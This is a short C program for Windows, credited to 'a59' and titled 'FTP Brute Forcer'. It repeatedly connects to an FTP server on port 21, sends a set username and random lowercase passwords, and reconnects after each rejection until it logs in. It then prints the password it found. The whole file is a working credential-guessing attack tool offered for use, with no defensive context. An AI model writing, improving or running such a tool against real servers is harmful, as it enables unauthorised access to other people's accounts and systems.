#define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN
#pragma optimize( "gsy", on )
#pragma comment( linker, "/ALIGN:4096" )
#pragma comment( linker, "/IGNORE:4108" )
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment( lib, "ws2_32" )

char szAcceptedChars[ ] = "abcdefghijklmnopqrstuvwxyz"; // characters in the password
char szFtpIP[ ] = "127.0.0.1"; // IP only no dns
char szUserName[ ] = "username";
int iLength = 6; // length of pass

char szRecvBuff[ 150 ];
char szSendBuff[ 64 ];
char szCurPass[ 12 ];
SOCKET ftpsock;
SOCKADDR_IN sin;

void RandomizePass( char* szString );
int DoForce( );
int AnalyzeLine( char* szCommand );

void RandomizePass( char* szString )
{
    for( int i = 0; i < iLength; i++ )
        szString[ i ] = szAcceptedChars[ rand( ) % strlen( szAcceptedChars ) ];

    szString[ iLength ] = 0;
};

int DoForce( )
{
    ftpsock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

    if( connect( ftpsock, (SOCKADDR *)&sin, sizeof( sin ) ) == SOCKET_ERROR )
        return 0;
    
    while( true )
    {
        recv( ftpsock, szRecvBuff, sizeof( szRecvBuff ), 0 );
        AnalyzeLine( szRecvBuff );
    }

    return 1;
};

int AnalyzeLine( char* szCommand )
{
    strtok( szCommand, " " );

    switch( atoi( szCommand ) )
    {
    case 331: // Password required
        RandomizePass( szCurPass );        
        wsprintf( szSendBuff, "PASS %s\r\n", szCurPass );
        send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 );
        break;
    case 530: // Incorrect password
        closesocket( ftpsock ); // you cant stay connected to FTP and keep trying passes
        DoForce( );
        break;
    case 220: // User required
        wsprintf( szSendBuff, "USER %s\r\n", szUserName );
        send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 );
        break;
    case 230: // User logged in
        printf( "Password for %s:21 - %s\r\n", szFtpIP, szCurPass );
        getchar( );
        ExitProcess( 0 );
    }

    return 0;
};

int main( )
{
    SetConsoleTitle( "FTP Brute Forcer by a59" );
    SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_BLUE | FOREGROUND_INTENSITY );

    printf( "\t\t\tFTP Brute Forcer Coded by a59\n\n\n" );

    printf( "Press any key to start brute forcing...\n" );

    getchar( );

    WSADATA wsa;
    WSAStartup( MAKEWORD( 2, 2 ), &wsa );

    // set up sockaddr_in vars here so we have less to do @ DoForce( ), and it will be faster
    sin.sin_family = AF_INET;
    sin.sin_port = htons( 21 );
    sin.sin_addr.s_addr = inet_addr( szFtpIP );

    srand( GetTickCount( ) );

    printf( "Connecting to server and starting brute forcer...\n" );

    if( DoForce( ) == 0 )
        printf( "Error connecting to server\n" );

    return 0;
};